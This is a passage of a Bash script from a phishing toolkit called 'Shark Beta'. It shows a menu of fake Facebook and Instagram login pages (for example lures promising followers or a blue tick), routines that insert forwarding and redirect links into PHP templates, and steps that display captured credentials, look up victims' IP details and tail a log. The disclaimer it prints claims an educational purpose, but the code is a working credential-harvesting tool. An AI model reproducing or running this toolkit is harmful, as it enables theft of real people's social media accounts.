sed 's+forwarding_link+'$link'+g' template.php > index.php;sed 's+redirect_link+'$redirect_link'+g' js/_app.js > js/app.js
#cat index2.html >> index.php
prt && credentials
sleep 0.5
ipinfo
}
decne() {
if [[ $valu == "19" ]]; then
echo
msg "Don't worry will soon provide a stable feature for this.\n\n"
sleep 7
prt
credentials
tail -f log.txt
break;
else
if [[ $p != "d" ]]; then
old
prt && credentials
ipinfo
break;
elif [[ $p == "d" ]]; then
prt
break;
else
echo
error_msg "somthing went wrong!! pls try again!!\n"
fi
fi
}
msgsh() {
if [[ ! -e "${logfile}.sharkmsg" ]]; then
clear
msg "You Are Using Shark Beta .v$VERSION\n"
sleep 2
msg "Give us your feedback and idea's.\r• if you are facing any kind of error then let us know\n"
msg "Getting Things Ready... Please wait.\n\n"
sleep 5
clear
printf " ${red}|===========================|
[¤] \e[1;33mD I S C L A I M E R${red} [¤]
|===========================|\n\n"
error_msg "\e[1;32m• This tool you are going to use at your risk,\n\n• Mr Juice and Publisher of Shark are not responsible for any kind hack and stuff.\n\n• shark is a open source tool that help us to know how phishing works\n\n• Phishing is illigal if you are using as offensive\n\n• The use of the SHARK & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.
Developers assume NO liability and are NOT responsible for any damage caused by this program.
Also we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this
software to test device, company or any other type of target without WRITTEN PERMISSION from them.\n\n"
msg "Give us your feedback on telegram chat:- https://t.me/DeveloperJuice\n"
read -p $'\e[1;40m\e[1;92m T O R U N S H A R K A C C E P T D I S C L A I M E R\e[1;93m (Y/N) : \e[0m' shmsg
if [[ $shmsg == "Y" || $shmsg == "y" || $shmsg == "yes" ]]; then
cd ${phish}
touch .sharkmsg
echo "You Accepted EULA" >> .sharkmsg
echo ""
msg "You Accepted EULA"
sleep 3
cd ~
elif [[ $shmsg == "N" || $shmsg == "n" || $shmsg == "no" ]]; then
clear
echo
error_msg "You Haven't Accepted!!\n"
exit 1
else
echo
clear
error_msg "Typing error, try again!!...\n"
exit 1
fi
else
echo
fi
}
FC_OPT() {
echo ""
printf "${green}[${nc}01${green}]${yellow} Traditional Login Page\n\n"
printf "${green}[${nc}02${green}]${yellow} Advanced Voting Poll Login Page\n\n"
printf "${green}[${nc}03${green}]${yellow} Fake Security Login Page\n\n"
printf "${green}[${nc}04${green}]${yellow} Facebook Messenger Login Page\n\n"
read -p $'\e[1;32m[\e[0m-\e[1;32m]\e[1;33m Select an option : \e[1;36m' pgrep
case $pgrep in
1 | 01)
cd ${phish}/facebook/
reddc="TRUE"
FILE="login.php"
oldy="https://www.facebook.com/"
decne;;
2 | 02)
cd ${phish}/fb_advanced/
decne;;
3 | 03)
cd ${phish}/fb_security/
reddc="TRUE"
FILE="login.php"
oldy="https://www.facebook.com/"
decne;;
4 | 04)
cd ${phish}/fb_messenger/
reddc="TRUE"
FILE="login.php"
oldy="https://www.facebook.com/"
decne;;
*)
error_msg " Invalid Option, Try Again..."
{ sleep 1; clear; FC_OPT; };;
esac
}
INSTA_OPT() {
echo ""
printf "${green}[${nc}01${green}]${yellow} Traditional Login Page\n\n"
printf "${green}[${nc}02${green}]${yellow} 1000+ Followers Login Page\n\n"
printf "${green}[${nc}03${green}]${yellow} Insta Blue-Tick Login Page\n\n"
printf "${green}[${nc}04${green}]${yellow} Auto Followers Login Page\n\n"
read -p $'\e[1;32m[\e[0m-\e[1;32m]\e[1;33m Select an option : \e[1;36m' pgrep
case $pgrep in
1 | 01)
cd ${phish}/instagram/
NOTPF="login.php"
YOTPF="posts.php"
oldy="https://www.instagram.com"
decne;;
2 | 02)
cd ${phish}/insta_followers/
reddc="TRUE"
FILE="login.php"
oldy="https://www.instagram.com"
decne;;
3 | 03)
cd ${phish}/ig_verify/
mkdir drk/